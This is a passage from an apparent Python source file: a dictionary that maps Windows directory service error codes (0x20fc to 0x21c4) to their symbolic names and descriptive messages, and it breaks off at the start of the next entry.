(\"ERROR_DS_DRA_INCONSISTENT_DIT\", \"The replication operation encountered a database inconsistency.\"),\n        0x000020fc: (\"ERROR_DS_DRA_CONNECTION_FAILED\", \"The server specified for this replication operation could not be contacted.\"),\n        0x000020fd: (\"ERROR_DS_DRA_BAD_INSTANCE_TYPE\", \"The replication operation encountered an object with an invalid instance type.\"),\n        0x000020fe: (\"ERROR_DS_DRA_OUT_OF_MEM\", \"The replication operation failed to allocate memory.\"),\n        0x000020ff: (\"ERROR_DS_DRA_MAIL_PROBLEM\", \"The replication operation encountered an error with the mail system.\"),\n        0x00002100: (\"ERROR_DS_DRA_REF_ALREADY_EXISTS\", \"The replication reference information for the target server already exists.\"),\n        0x00002101: (\"ERROR_DS_DRA_REF_NOT_FOUND\", \"The replication reference information for the target server does not exist.\"),\n        0x00002102: (\"ERROR_DS_DRA_OBJ_IS_REP_SOURCE\", \"The naming context cannot be removed because it is replicated to another server.\"),\n        0x00002103: (\"ERROR_DS_DRA_DB_ERROR\", \"The replication operation encountered a database error.\"),\n        0x00002104: (\"ERROR_DS_DRA_NO_REPLICA\", \"The naming context is in the process of being removed or is not replicated from the specified server.\"),\n        0x00002105: (\"ERROR_DS_DRA_ACCESS_DENIED\", \"Replication access was denied.\"),\n        0x00002106: (\"ERROR_DS_DRA_NOT_SUPPORTED\", \"The requested operation is not supported by this version of the directory service.\"),\n        0x00002107: (\"ERROR_DS_DRA_RPC_CANCELLED\", \"The replication remote procedure call was cancelled.\"),\n        0x00002108: (\"ERROR_DS_DRA_SOURCE_DISABLED\", \"The source server is currently rejecting replication requests.\"),\n        0x00002109: (\"ERROR_DS_DRA_SINK_DISABLED\", \"The destination server is currently rejecting replication requests.\"),\n        0x0000210a: (\"ERROR_DS_DRA_NAME_COLLISION\", \"The replication operation failed due to a collision of object names.\"),\n        0x0000210b: (\"ERROR_DS_DRA_SOURCE_REINSTALLED\", \"The replication source has been reinstalled.\"),\n        0x0000210c: (\"ERROR_DS_DRA_MISSING_PARENT\", \"The replication operation failed because a required parent object is missing.\"),\n        0x0000210d: (\"ERROR_DS_DRA_PREEMPTED\", \"The replication operation was preempted.\"),\n        0x0000210e: (\"ERROR_DS_DRA_ABANDON_SYNC\", \"The replication synchronization attempt was abandoned because of a lack of updates.\"),\n        0x0000210f: (\"ERROR_DS_DRA_SHUTDOWN\", \"The replication operation was terminated because the system is shutting down.\"),\n        0x00002110: (\"ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET\", \"Synchronization attempt failed because the destination DC is currently waiting to synchronize new partial attributes from source. This condition is normal if a recent schema change modified the partial attribute set. The destination partial attribute set is not a subset of source partial attribute set.\"),\n        0x00002111: (\"ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA\", \"The replication synchronization attempt failed because a master replica attempted to sync from a partial replica.\"),\n        0x00002112: (\"ERROR_DS_DRA_EXTN_CONNECTION_FAILED\", \"The server specified for this replication operation was contacted, but that server was unable to contact an additional server needed to complete the operation.\"),\n        0x00002113: (\"ERROR_DS_INSTALL_SCHEMA_MISMATCH\", \"The version of the directory service schema of the source forest is not compatible with the version of directory service on this computer.\"),\n        0x00002114: (\"ERROR_DS_DUP_LINK_ID\", \"Schema update failed: An attribute with the same link identifier already exists.\"),\n        0x00002115: (\"ERROR_DS_NAME_ERROR_RESOLVING\", \"Name translation: Generic processing error.\"),\n        0x00002116: (\"ERROR_DS_NAME_ERROR_NOT_FOUND\", \"Name translation: Could not find the name or insufficient right to see name.\"),\n        0x00002117: (\"ERROR_DS_NAME_ERROR_NOT_UNIQUE\", \"Name translation: Input name mapped to more than one output name.\"),\n        0x00002118: (\"ERROR_DS_NAME_ERROR_NO_MAPPING\", \"Name translation: Input name found, but not the associated output format.\"),\n        0x00002119: (\"ERROR_DS_NAME_ERROR_DOMAIN_ONLY\", \"Name translation: Unable to resolve completely, only the domain was found.\"),\n        0x0000211a: (\"ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING\", \"Name translation: Unable to perform purely syntactical mapping at the client without going out to the wire.\"),\n        0x0000211b: (\"ERROR_DS_CONSTRUCTED_ATT_MOD\", \"Modification of a constructed attribute is not allowed.\"),\n        0x0000211c: (\"ERROR_DS_WRONG_OM_OBJ_CLASS\", \"The OM-Object-Class specified is incorrect for an attribute with the specified syntax.\"),\n        0x0000211d: (\"ERROR_DS_DRA_REPL_PENDING\", \"The replication request has been posted; waiting for reply.\"),\n        0x0000211e: (\"ERROR_DS_DS_REQUIRED\", \"The requested operation requires a directory service, and none was available.\"),\n        0x0000211f: (\"ERROR_DS_INVALID_LDAP_DISPLAY_NAME\", \"The LDAP display name of the class or attribute contains non-ASCII characters.\"),\n        0x00002120: (\"ERROR_DS_NON_BASE_SEARCH\", \"The requested search operation is only supported for base searches.\"),\n        0x00002121: (\"ERROR_DS_CANT_RETRIEVE_ATTS\", \"The search failed to retrieve attributes from the database.\"),\n        0x00002122: (\"ERROR_DS_BACKLINK_WITHOUT_LINK\", \"The schema update operation tried to add a backward link attribute that has no corresponding forward link.\"),\n        0x00002123: (\"ERROR_DS_EPOCH_MISMATCH\", \"Source and destination of a cross-domain move do not agree on the object's epoch number. Either source or destination does not have the latest version of the object.\"),\n        0x00002124: (\"ERROR_DS_SRC_NAME_MISMATCH\", \"Source and destination of a cross-domain move do not agree on the object's current name. Either source or destination does not have the latest version of the object.\"),\n        0x00002125: (\"ERROR_DS_SRC_AND_DST_NC_IDENTICAL\", \"Source and destination for the cross-domain move operation are identical. Caller should use local move operation instead of cross-domain move operation.\"),\n        0x00002126: (\"ERROR_DS_DST_NC_MISMATCH\", \"Source and destination for a cross-domain move are not in agreement on the naming contexts in the forest. Either source or destination does not have the latest version of the Partitions container.\"),\n        0x00002127: (\"ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC\", \"Destination of a cross-domain move is not authoritative for the destination naming context.\"),\n        0x00002128: (\"ERROR_DS_SRC_GUID_MISMATCH\", \"Source and destination of a cross-domain move do not agree on the identity of the source object. Either source or destination does not have the latest version of the source object.\"),\n        0x00002129: (\"ERROR_DS_CANT_MOVE_DELETED_OBJECT\", \"Object being moved across-domains is already known to be deleted by the destination server. The source server does not have the latest version of the source object.\"),\n        0x0000212a: (\"ERROR_DS_PDC_OPERATION_IN_PROGRESS\", \"Another operation which requires exclusive access to the PDC FSMO is already in progress.\"),\n        0x0000212b: (\"ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD\", \"A cross-domain move operation failed such that two versions of the moved object exist - one each in the source and destination domains. The destination object needs to be removed to restore the system to a consistent state.\"),\n        0x0000212c: (\"ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION\", \"This object may not be moved across domain boundaries either because cross-domain moves for this class are disallowed, or the object has some special characteristics, e.g.: trust account or restricted RID, which prevent its move.\"),\n        0x0000212d: (\"ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS\", \"Can't move objects with memberships across domain boundaries as once moved, this would violate the membership conditions of the account group. Remove the object from any account group memberships and retry.\"),\n        0x0000212e: (\"ERROR_DS_NC_MUST_HAVE_NC_PARENT\", \"A naming context head must be the immediate child of another naming context head, not of an interior node.\"),\n        0x0000212f: (\"ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE\", \"The directory cannot validate the proposed naming context name because it does not hold a replica of the naming context above the proposed naming context. Please ensure that the domain naming master role is held by a server that is configured as a global catalog server, and that the server is up to date with its replication partners. (Applies only to Windows 2000 Domain Naming masters)\"),\n        0x00002130: (\"ERROR_DS_DST_DOMAIN_NOT_NATIVE\", \"Destination domain must be in native mode.\"),\n        0x00002131: (\"ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER\", \"The operation cannot be performed because the server does not have an infrastructure container in the domain of interest.\"),\n        0x00002132: (\"ERROR_DS_CANT_MOVE_ACCOUNT_GROUP\", \"Cross-domain move of non-empty account groups is not allowed.\"),\n        0x00002133: (\"ERROR_DS_CANT_MOVE_RESOURCE_GROUP\", \"Cross-domain move of non-empty resource groups is not allowed.\"),\n        0x00002134: (\"ERROR_DS_INVALID_SEARCH_FLAG\", \"The search flags for the attribute are invalid. The ANR bit is valid only on attributes of Unicode or Teletex strings.\"),\n        0x00002135: (\"ERROR_DS_NO_TREE_DELETE_ABOVE_NC\", \"Tree deletions starting at an object which has an NC head as a descendant are not allowed.\"),\n        0x00002136: (\"ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE\", \"The directory service failed to lock a tree in preparation for a tree deletion because the tree was in use.\"),\n        0x00002137: (\"ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE\", \"The directory service failed to identify the list of objects to delete while attempting a tree deletion.\"),\n        0x00002138: (\"ERROR_DS_SAM_INIT_FAILURE\", \"Security Accounts Manager initialization failed because of the following error: %1.\"),\n        0x00002139: (\"ERROR_DS_SENSITIVE_GROUP_VIOLATION\", \"Only an administrator can modify the membership list of an administrative group.\"),\n        0x0000213a: (\"ERROR_DS_CANT_MOD_PRIMARYGROUPID\", \"Cannot change the primary group ID of a domain controller account.\"),\n        0x0000213b: (\"ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD\", \"An attempt is made to modify the base schema.\"),\n        0x0000213c: (\"ERROR_DS_NONSAFE_SCHEMA_CHANGE\", \"Adding a new mandatory attribute to an existing class, deleting a mandatory attribute from an existing class, or adding an optional attribute to the special class Top that is not a backlink attribute (directly or through inheritance, for example, by adding or deleting an auxiliary class) is not allowed.\"),\n        0x0000213d: (\"ERROR_DS_SCHEMA_UPDATE_DISALLOWED\", \"Schema update is not allowed on this DC because the DC is not the schema FSMO Role Owner.\"),\n        0x0000213e: (\"ERROR_DS_CANT_CREATE_UNDER_SCHEMA\", \"An object of this class cannot be created under the schema container. You can only create attribute-schema and class-schema objects under the schema container.\"),\n        0x0000213f: (\"ERROR_DS_INSTALL_NO_SRC_SCH_VERSION\", \"The replica/child install failed to get the objectVersion attribute on the schema container on the source DC. Either the attribute is missing on the schema container or the credentials supplied do not have permission to read it.\"),\n        0x00002140: (\"ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE\", \"The replica/child install failed to read the objectVersion attribute in the SCHEMA section of the file schema.ini in the system32 directory.\"),\n        0x00002141: (\"ERROR_DS_INVALID_GROUP_TYPE\", \"The specified group type is invalid.\"),\n        0x00002142: (\"ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN\", \"You cannot nest global groups in a mixed domain if the group is security-enabled.\"),\n        0x00002143: (\"ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN\", \"You cannot nest local groups in a mixed domain if the group is security-enabled.\"),\n        0x00002144: (\"ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER\", \"A global group cannot have a local group as a member.\"),\n        0x00002145: (\"ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER\", \"A global group cannot have a universal group as a member.\"),\n        0x00002146: (\"ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER\", \"A universal group cannot have a local group as a member.\"),\n        0x00002147: (\"ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER\", \"A global group cannot have a cross-domain member.\"),\n        0x00002148: (\"ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER\", \"A local group cannot have another cross domain local group as a member.\"),\n        0x00002149: (\"ERROR_DS_HAVE_PRIMARY_MEMBERS\", \"A group with primary members cannot change to a security-disabled group.\"),\n        0x0000214a: (\"ERROR_DS_STRING_SD_CONVERSION_FAILED\", \"The schema cache load failed to convert the string default SD on a class-schema object.\"),\n        0x0000214b: (\"ERROR_DS_NAMING_MASTER_GC\", \"Only DSAs configured to be Global Catalog servers should be allowed to hold the Domain Naming Master FSMO role. (Applies only to Windows 2000 servers)\"),\n        0x0000214c: (\"ERROR_DS_DNS_LOOKUP_FAILURE\", \"The DSA operation is unable to proceed because of a DNS lookup failure.\"),\n        0x0000214d: (\"ERROR_DS_COULDNT_UPDATE_SPNS\", \"While processing a change to the DNS Host Name for an object, the Service Principal Name values could not be kept in sync.\"),\n        0x0000214e: (\"ERROR_DS_CANT_RETRIEVE_SD\", \"The Security Descriptor attribute could not be read.\"),\n        0x0000214f: (\"ERROR_DS_KEY_NOT_UNIQUE\", \"The object requested was not found, but an object with that key was found.\"),\n        0x00002150: (\"ERROR_DS_WRONG_LINKED_ATT_SYNTAX\", \"The syntax of the linked attribute being added is incorrect. Forward links can only have syntax 2.5.5.1, 2.5.5.7, and 2.5.5.14, and backlinks can only have syntax 2.5.5.1\"),\n        0x00002151: (\"ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD\", \"Security Account Manager needs to get the boot password.\"),\n        0x00002152: (\"ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY\", \"Security Account Manager needs to get the boot key from floppy disk.\"),\n        0x00002153: (\"ERROR_DS_CANT_START\", \"Directory Service cannot start.\"),\n        0x00002154: (\"ERROR_DS_INIT_FAILURE\", \"Directory Services could not start.\"),\n        0x00002155: (\"ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION\", \"The connection between client and server requires packet privacy or better.\"),\n        0x00002156: (\"ERROR_DS_SOURCE_DOMAIN_IN_FOREST\", \"The source domain may not be in the same forest as destination.\"),\n        0x00002157: (\"ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST\", \"The destination domain must be in the forest.\"),\n        0x00002158: (\"ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED\", \"The operation requires that destination domain auditing be enabled.\"),\n        0x00002159: (\"ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN\", \"The operation couldn't locate a DC for the source domain.\"),\n        0x0000215a: (\"ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER\", \"The source object must be a group or user.\"),\n        0x0000215b: (\"ERROR_DS_SRC_SID_EXISTS_IN_FOREST\", \"The source object's SID already exists in destination forest.\"),\n        0x0000215c: (\"ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH\", \"The source and destination object must be of the same type.\"),\n        0x0000215d: (\"ERROR_SAM_INIT_FAILURE\", \"Security Accounts Manager initialization failed because of the following error: %1.\"),\n        0x0000215e: (\"ERROR_DS_DRA_SCHEMA_INFO_SHIP\", \"Schema information could not be included in the replication request.\"),\n        0x0000215f: (\"ERROR_DS_DRA_SCHEMA_CONFLICT\", \"The replication operation could not be completed due to a schema incompatibility.\"),\n        0x00002160: (\"ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT\", \"The replication operation could not be completed due to a previous schema incompatibility.\"),\n        0x00002161: (\"ERROR_DS_DRA_OBJ_NC_MISMATCH\", \"The replication update could not be applied because either the source or the destination has not yet received information regarding a recent cross-domain move operation.\"),\n        0x00002162: (\"ERROR_DS_NC_STILL_HAS_DSAS\", \"The requested domain could not be deleted because there exist domain controllers that still host this domain.\"),\n        0x00002163: (\"ERROR_DS_GC_REQUIRED\", \"The requested operation can be performed only on a global catalog server.\"),\n        0x00002164: (\"ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY\", \"A local group can only be a member of other local groups in the same domain.\"),\n        0x00002165: (\"ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS\", \"Foreign security principals cannot be members of universal groups.\"),\n        0x00002166: (\"ERROR_DS_CANT_ADD_TO_GC\", \"The attribute is not allowed to be replicated to the GC because of security reasons.\"),\n        0x00002167: (\"ERROR_DS_NO_CHECKPOINT_WITH_PDC\", \"The checkpoint with the PDC could not be taken because there too many modifications being processed currently.\"),\n        0x00002168: (\"ERROR_DS_SOURCE_AUDITING_NOT_ENABLED\", \"The operation requires that source domain auditing be enabled.\"),\n        0x00002169: (\"ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC\", \"Security principal objects can only be created inside domain naming contexts.\"),\n        0x0000216a: (\"ERROR_DS_INVALID_NAME_FOR_SPN\", \"A Service Principal Name (SPN) could not be constructed because the provided hostname is not in the necessary format.\"),\n        0x0000216b: (\"ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS\", \"A Filter was passed that uses constructed attributes.\"),\n        0x0000216c: (\"ERROR_DS_UNICODEPWD_NOT_IN_QUOTES\", \"The unicodePwd attribute value must be enclosed in double quotes.\"),\n        0x0000216d: (\"ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED\", \"Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.\"),\n        0x0000216e: (\"ERROR_DS_MUST_BE_RUN_ON_DST_DC\", \"For security reasons, the operation must be run on the destination DC.\"),\n        0x0000216f: (\"ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER\", \"For security reasons, the source DC must be NT4SP4 or greater.\"),\n        0x00002170: (\"ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ\", \"Critical Directory Service System objects cannot be deleted during tree delete operations. The tree delete may have been partially performed.\"),\n        0x00002171: (\"ERROR_DS_INIT_FAILURE_CONSOLE\", \"Directory Services could not start because of the following error: %1.\"),\n        0x00002172: (\"ERROR_DS_SAM_INIT_FAILURE_CONSOLE\", \"Security Accounts Manager initialization failed because of the following error: %1.\"),\n        0x00002173: (\"ERROR_DS_FOREST_VERSION_TOO_HIGH\", \"The version of the operating system is incompatible with the current AD DS forest functional level or AD LDS Configuration Set functional level. You must upgrade to a new version of the operating system before this server can become an AD DS Domain Controller or add an AD LDS Instance in this AD DS Forest or AD LDS Configuration Set.\"),\n        0x00002174: (\"ERROR_DS_DOMAIN_VERSION_TOO_HIGH\", \"The version of the operating system installed is incompatible with the current domain functional level. You must upgrade to a new version of the operating system before this server can become a domain controller in this domain.\"),\n        0x00002175: (\"ERROR_DS_FOREST_VERSION_TOO_LOW\", \"The version of the operating system installed on this server no longer supports the current AD DS Forest functional level or AD LDS Configuration Set functional level. You must raise the AD DS Forest functional level or AD LDS Configuration Set functional level before this server can become an AD DS Domain Controller or an AD LDS Instance in this Forest or Configuration Set.\"),\n        0x00002176: (\"ERROR_DS_DOMAIN_VERSION_TOO_LOW\", \"The version of the operating system installed on this server no longer supports the current domain functional level. You must raise the domain functional level before this server can become a domain controller in this domain.\"),\n        0x00002177: (\"ERROR_DS_INCOMPATIBLE_VERSION\", \"The version of the operating system installed on this server is incompatible with the functional level of the domain or forest.\"),\n        0x00002178: (\"ERROR_DS_LOW_DSA_VERSION\", \"The functional level of the domain (or forest) cannot be raised to the requested value, because there exist one or more domain controllers in the domain (or forest) that are at a lower incompatible functional level.\"),\n        0x00002179: (\"ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN\", \"The forest functional level cannot be raised to the requested value since one or more domains are still in mixed domain mode. All domains in the forest must be in native mode, for you to raise the forest functional level.\"),\n        0x0000217a: (\"ERROR_DS_NOT_SUPPORTED_SORT_ORDER\", \"The sort order requested is not supported.\"),\n        0x0000217b: (\"ERROR_DS_NAME_NOT_UNIQUE\", \"The requested name already exists as a unique identifier.\"),\n        0x0000217c: (\"ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4\", \"The machine account was created pre-NT4. The account needs to be recreated.\"),\n        0x0000217d: (\"ERROR_DS_OUT_OF_VERSION_STORE\", \"The database is out of version store.\"),\n        0x0000217e: (\"ERROR_DS_INCOMPATIBLE_CONTROLS_USED\", \"Unable to continue operation because multiple conflicting controls were used.\"),\n        0x0000217f: (\"ERROR_DS_NO_REF_DOMAIN\", \"Unable to find a valid security descriptor reference domain for this partition.\"),\n        0x00002180: (\"ERROR_DS_RESERVED_LINK_ID\", \"Schema update failed: The link identifier is reserved.\"),\n        0x00002181: (\"ERROR_DS_LINK_ID_NOT_AVAILABLE\", \"Schema update failed: There are no link identifiers available.\"),\n        0x00002182: (\"ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER\", \"An account group cannot have a universal group as a member.\"),\n        0x00002183: (\"ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE\", \"Rename or move operations on naming context heads or read-only objects are not allowed.\"),\n        0x00002184: (\"ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC\", \"Move operations on objects in the schema naming context are not allowed.\"),\n        0x00002185: (\"ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG\", \"A system flag has been set on the object and does not allow the object to be moved or renamed.\"),\n        0x00002186: (\"ERROR_DS_MODIFYDN_WRONG_GRANDPARENT\", \"This object is not allowed to change its grandparent container. Moves are not forbidden on this object, but are restricted to sibling containers.\"),\n        0x00002187: (\"ERROR_DS_NAME_ERROR_TRUST_REFERRAL\", \"Unable to resolve completely, a referral to another forest is generated.\"),\n        0x00002188: (\"ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER\", \"The requested action is not supported on standard server.\"),\n        0x00002189: (\"ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD\", \"Could not access a partition of the directory service located on a remote server. Make sure at least one server is running for the partition in question.\"),\n        0x0000218a: (\"ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2\", \"The directory cannot validate the proposed naming context (or partition) name because it does not hold a replica nor can it contact a replica of the naming context above the proposed naming context. Please ensure that the parent naming context is properly registered in DNS, and at least one replica of this naming context is reachable by the Domain Naming master.\"),\n        0x0000218b: (\"ERROR_DS_THREAD_LIMIT_EXCEEDED\", \"The thread limit for this request was exceeded.\"),\n        0x0000218c: (\"ERROR_DS_NOT_CLOSEST\", \"The Global catalog server is not in the closest site.\"),\n        0x0000218d: (\"ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF\", \"The DS cannot derive a service principal name (SPN) with which to mutually authenticate the target server because the corresponding server object in the local DS database has no serverReference attribute.\"),\n        0x0000218e: (\"ERROR_DS_SINGLE_USER_MODE_FAILED\", \"The Directory Service failed to enter single user mode.\"),\n        0x0000218f: (\"ERROR_DS_NTDSCRIPT_SYNTAX_ERROR\", \"The Directory Service cannot parse the script because of a syntax error.\"),\n        0x00002190: (\"ERROR_DS_NTDSCRIPT_PROCESS_ERROR\", \"The Directory Service cannot process the script because of an error.\"),\n        0x00002191: (\"ERROR_DS_DIFFERENT_REPL_EPOCHS\", \"The directory service cannot perform the requested operation because the servers involved are of different replication epochs (which is usually related to a domain rename that is in progress).\"),\n        0x00002192: (\"ERROR_DS_DRS_EXTENSIONS_CHANGED\", \"The directory service binding must be renegotiated due to a change in the server extensions information.\"),\n        0x00002193: (\"ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR\", \"Operation not allowed on a disabled cross ref.\"),\n        0x00002194: (\"ERROR_DS_NO_MSDS_INTID\", \"Schema update failed: No values for msDS-IntId are available.\"),\n        0x00002195: (\"ERROR_DS_DUP_MSDS_INTID\", \"Schema update failed: Duplicate msDS-INtId. Retry the operation.\"),\n        0x00002196: (\"ERROR_DS_EXISTS_IN_RDNATTID\", \"Schema deletion failed: attribute is used in rDNAttID.\"),\n        0x00002197: (\"ERROR_DS_AUTHORIZATION_FAILED\", \"The directory service failed to authorize the request.\"),\n        0x00002198: (\"ERROR_DS_INVALID_SCRIPT\", \"The Directory Service cannot process the script because it is invalid.\"),\n        0x00002199: (\"ERROR_DS_REMOTE_CROSSREF_OP_FAILED\", \"The remote create cross reference operation failed on the Domain Naming Master FSMO. The operation's error is in the extended data.\"),\n        0x0000219a: (\"ERROR_DS_CROSS_REF_BUSY\", \"A cross reference is in use locally with the same name.\"),\n        0x0000219b: (\"ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN\", \"The DS cannot derive a service principal name (SPN) with which to mutually authenticate the target server because the server's domain has been deleted from the forest.\"),\n        0x0000219c: (\"ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC\", \"Writeable NCs prevent this DC from demoting.\"),\n        0x0000219d: (\"ERROR_DS_DUPLICATE_ID_FOUND\", \"The requested object has a non-unique identifier and cannot be retrieved.\"),\n        0x0000219e: (\"ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT\", \"Insufficient attributes were given to create an object. This object may not exist because it may have been deleted and already garbage collected.\"),\n        0x0000219f: (\"ERROR_DS_GROUP_CONVERSION_ERROR\", \"The group cannot be converted due to attribute restrictions on the requested group type.\"),\n        0x000021a0: (\"ERROR_DS_CANT_MOVE_APP_BASIC_GROUP\", \"Cross-domain move of non-empty basic application groups is not allowed.\"),\n        0x000021a1: (\"ERROR_DS_CANT_MOVE_APP_QUERY_GROUP\", \"Cross-domain move of non-empty query based application groups is not allowed.\"),\n        0x000021a2: (\"ERROR_DS_ROLE_NOT_VERIFIED\", \"The FSMO role ownership could not be verified because its directory partition has not replicated successfully with at least one replication partner.\"),\n        0x000021a3: (\"ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL\", \"The target container for a redirection of a well known object container cannot already be a special container.\"),\n        0x000021a4: (\"ERROR_DS_DOMAIN_RENAME_IN_PROGRESS\", \"The Directory Service cannot perform the requested operation because a domain rename operation is in progress.\"),\n        0x000021a5: (\"ERROR_DS_EXISTING_AD_CHILD_NC\", \"The directory service detected a child partition below the requested partition name. The partition hierarchy must be created in a top down method.\"),\n        0x000021a6: (\"ERROR_DS_REPL_LIFETIME_EXCEEDED\", \"The directory service cannot replicate with this server because the time since the last replication with this server has exceeded the tombstone lifetime.\"),\n        0x000021a7: (\"ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER\", \"The requested operation is not allowed on an object under the system container.\"),\n        0x000021a8: (\"ERROR_DS_LDAP_SEND_QUEUE_FULL\", \"The LDAP servers network send queue has filled up because the client is not processing the results of its requests fast enough. No more requests will be processed until the client catches up. If the client does not catch up then it will be disconnected.\"),\n        0x000021a9: (\"ERROR_DS_DRA_OUT_SCHEDULE_WINDOW\", \"The scheduled replication did not take place because the system was too busy to execute the request within the schedule window. The replication queue is overloaded. Consider reducing the number of partners or decreasing the scheduled replication frequency.\"),\n        0x000021aa: (\"ERROR_DS_POLICY_NOT_KNOWN\", \"At this time, it cannot be determined if the branch replication policy is available on the hub domain controller. Please retry at a later time to account for replication latencies.\"),\n        0x000021ab: (\"ERROR_NO_SITE_SETTINGS_OBJECT\", \"The site settings object for the specified site does not exist.\"),\n        0x000021ac: (\"ERROR_NO_SECRETS\", \"The local account store does not contain secret material for the specified account.\"),\n        0x000021ad: (\"ERROR_NO_WRITABLE_DC_FOUND\", \"Could not find a writable domain controller in the domain.\"),\n        0x000021ae: (\"ERROR_DS_NO_SERVER_OBJECT\", \"The server object for the domain controller does not exist.\"),\n        0x000021af: (\"ERROR_DS_NO_NTDSA_OBJECT\", \"The NTDS Settings object for the domain controller does not exist.\"),\n        0x000021b0: (\"ERROR_DS_NON_ASQ_SEARCH\", \"The requested search operation is not supported for ASQ searches.\"),\n        0x000021b1: (\"ERROR_DS_AUDIT_FAILURE\", \"A required audit event could not be generated for the operation.\"),\n        0x000021b2: (\"ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE\", \"The search flags for the attribute are invalid. The subtree index bit is valid only on single valued attributes.\"),\n        0x000021b3: (\"ERROR_DS_INVALID_SEARCH_FLAG_TUPLE\", \"The search flags for the attribute are invalid. The tuple index bit is valid only on attributes of Unicode strings.\"),\n        0x000021b4: (\"ERROR_DS_HIERARCHY_TABLE_TOO_DEEP\", \"The address books are nested too deeply. Failed to build the hierarchy table.\"),\n        0x000021b5: (\"ERROR_DS_DRA_CORRUPT_UTD_VECTOR\", \"The specified up-to-date-ness vector is corrupt.\"),\n        0x000021b6: (\"ERROR_DS_DRA_SECRETS_DENIED\", \"The request to replicate secrets is denied.\"),\n        0x000021b7: (\"ERROR_DS_RESERVED_MAPI_ID\", \"Schema update failed: The MAPI identifier is reserved.\"),\n        0x000021b8: (\"ERROR_DS_MAPI_ID_NOT_AVAILABLE\", \"Schema update failed: There are no MAPI identifiers available.\"),\n        0x000021b9: (\"ERROR_DS_DRA_MISSING_KRBTGT_SECRET\", \"The replication operation failed because the required attributes of the local krbtgt object are missing.\"),\n        0x000021ba: (\"ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST\", \"The domain name of the trusted domain already exists in the forest.\"),\n        0x000021bb: (\"ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST\", \"The flat name of the trusted domain already exists in the forest.\"),\n        0x000021bc: (\"ERROR_INVALID_USER_PRINCIPAL_NAME\", \"The User Principal Name (UPN) is invalid.\"),\n        0x000021bd: (\"ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS\", \"OID mapped groups cannot have members.\"),\n        0x000021be: (\"ERROR_DS_OID_NOT_FOUND\", \"The specified OID cannot be found.\"),\n        0x000021bf: (\"ERROR_DS_DRA_RECYCLED_TARGET\", \"The replication operation failed because the target object referred by a link value is recycled.\"),\n        0x000021c0: (\"ERROR_DS_DISALLOWED_NC_REDIRECT\", \"The redirect operation failed because the target object is in a NC different from the domain NC of the current domain controller.\"),\n        0x000021c1: (\"ERROR_DS_HIGH_ADLDS_FFL\", \"The functional level of the AD LDS configuration set cannot be lowered to the requested value.\"),\n        0x000021c2: (\"ERROR_DS_HIGH_DSA_VERSION\", \"The functional level of the domain (or forest) cannot be lowered to the requested value.\"),\n        0x000021c3: (\"ERROR_DS_LOW_ADLDS_FFL\", \"The functional level of the AD LDS configuration set cannot be raised to the requested value, because there exist one or more ADLDS instances that are at a lower incompatible functional level.\"),\n        0x000021c4: (\"ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION\", \"The domain join cannot be completed because the SID of the domain you attempted to join was identical to the SID of this machine. This is a symptom of an improperly cloned operating system install.  You should run sysprep on this machine in order to generate a new machine SID. Please see https://go.microsoft.com/fwlink/?LinkId=168895 for more information.\"),\n        0x000021c5: 